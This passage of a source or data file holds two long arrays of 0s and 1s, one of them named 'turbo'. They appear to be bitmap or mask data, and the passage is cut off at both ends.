0,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,
1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,
1,0,0,1,0,1,0,1,0,1,0,0,1,0,0,1,
0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,
0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,
1,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,
1,0,1,0,1,0,1,1,0,1,0,1,1,0,1,0,
1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,
0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,
0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,
0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,
0,1,0,0,1,0,0,1,0,1,0,1,0,0,1,0,
1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,
0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,
1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,
0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,1,
0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,
1,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,
0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,
0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,
0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,1,
0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,
0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,
0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,
0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,
0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,1,
0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,
0,1,0,0,1,0,1,0,1,0,0,1,0,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,
1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,
0,0,0,1,0,1,0,1,0,0,1,0,1,0,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,
1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,
1,0,1,0,1,1,0,1,0,1,0,1,0,1,0,1,
0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,
0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,
1,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,
0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,
0,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,
1,0,1,0,1,0,1,0,0,1,0,1,0,0,1,0,
0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,
1,1,1,0,1,0,1,1,0,1,0,1,0,1,0,0,
0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,
0,1,0,0,1,0,1,0,0,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,
0,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,
1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,
0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,
1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,
1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,
0,1,0,1,1,0,1,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,0,0,1,0,1,0,1,0,0,1,0,
1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,
0,0,0,1,0,1,0,0,0,1,1,0,1,0,1,0,
1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,0,
1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,1,
0,1,0,1,0,1,0,1,0,1,1,1,1,0,1,1,
0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,
0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,
0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,
0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,
0,1,0,1,1,0,1,1,0,1,0,1,0,1,0,1,
0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,
1,0,1,0,1,1,1,0,1,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,0,1,0,1,1,0,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,
0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,
0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,
0,1,0,1,0,1,0,1,1,1,0,1,1,0,1,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,
0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,
0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,
0,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,
0,1,1,0,1,0,1,1,0,1,0,1,0,1,0,0,
0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,0,
1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,1,
1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,0,
1,1,0,1,0,0,1,0,0,1,1,1,0,1,0,1,
1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,
1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,
1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,
1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,0,
0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,
1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,
0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,
1,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,
1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,
1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,
0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,
0,1,1,0,1,0,1,0,1,0,1,0,1,1,0,0,
0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,
0,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,
0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,
0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,
0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,
1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,
1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,
1,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,
0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,
0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,
1,1,0,1,0,1,0,1,0,1,0,1,1,0,1,1,
0,1,0,0,1,0,1,1,0,0,1,0,0,1,0,1,
1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,
0,1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,
1,0,1,1,1,0,1,0,0,1,0,1,0,1,0,1,
0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,0,
0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,
1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,0,
1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,
1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,
0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,
1,0,1,0,1,0,1,0,1,1,0,1,1,0,1,0,
1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,
1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,
0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,
1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,
1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,
1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,
0,1,0,1,1,0,1,0,1,1,0,1,0,1,0,1,
0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,0,
1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,
1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,
1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,
1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,
1,0,0,0,1,1,0,1,0,1,0,1,0,1,0,1,
0,1,1,0,1,0,1,0,1,0,1,0,1,1,0,1,
1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,
1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,
0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,
0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,
0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,1,1,0,1,0,
1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,
0,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,
1,0,1,1,0,1,0,1,1,0,1,1,0,1,1,0,
1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,1,
1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0,
0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,
1,0,1,0,1,0,1,0,1,1,0,1,0,1,1,0,
1,1,0,1,1,0,1,0,1,0,1,0,1,0,1,1,
0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,0,
1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,
1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,
1,1,0,1,1,0,1,1,0,1,1,0,1,0,1,1,
0,1,0,1,1,0,1,1,0,1,0,1,0,0,0,0,
0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,
1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1,
1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,
1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,
0,1,0,1,1,0,1,1,0,1,1,0,1,1,1,0,
1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,
1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,
0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,
1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,
1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,
1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,
1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,
0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,
1,0,1,1,0,1,0,1,0,0,1,1,0,0,0,0,
0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,
1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,
0,1,1,0,1,1,0,1,0,1,0,1,0,1,0,1,
0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,
0,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,
1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,
1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,
0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,
0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,
1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,
0,1,0,0,0,1,1,1,0,1,0,0,1,0,0,0,
1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,0,
1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,1,
0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,
1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,
1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,
0,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,
1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,
1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,1,
1,1,1,1,0,1,0,1,1,1,0,1,0,1,1,0,
1,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,
1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,1,
1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,
0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,
1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,
1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,
1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,
0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,
1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,
1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,
1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,1,
1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,1,1,0,1,0,1,1,0,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
]
turbo = [
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,1,1,0,0,1,1,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,
0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,
1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
0,1,1,0,0,1,0,1,1,0,0,0,0,1,1,0,
0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,
1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,
0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,
0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,
0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,
0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,
0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,
1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,
0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,
1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,
1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,
0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,
1,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,
0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,
0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,
1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,
0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,
1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,
0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,
0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,
0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,
1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,
1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,
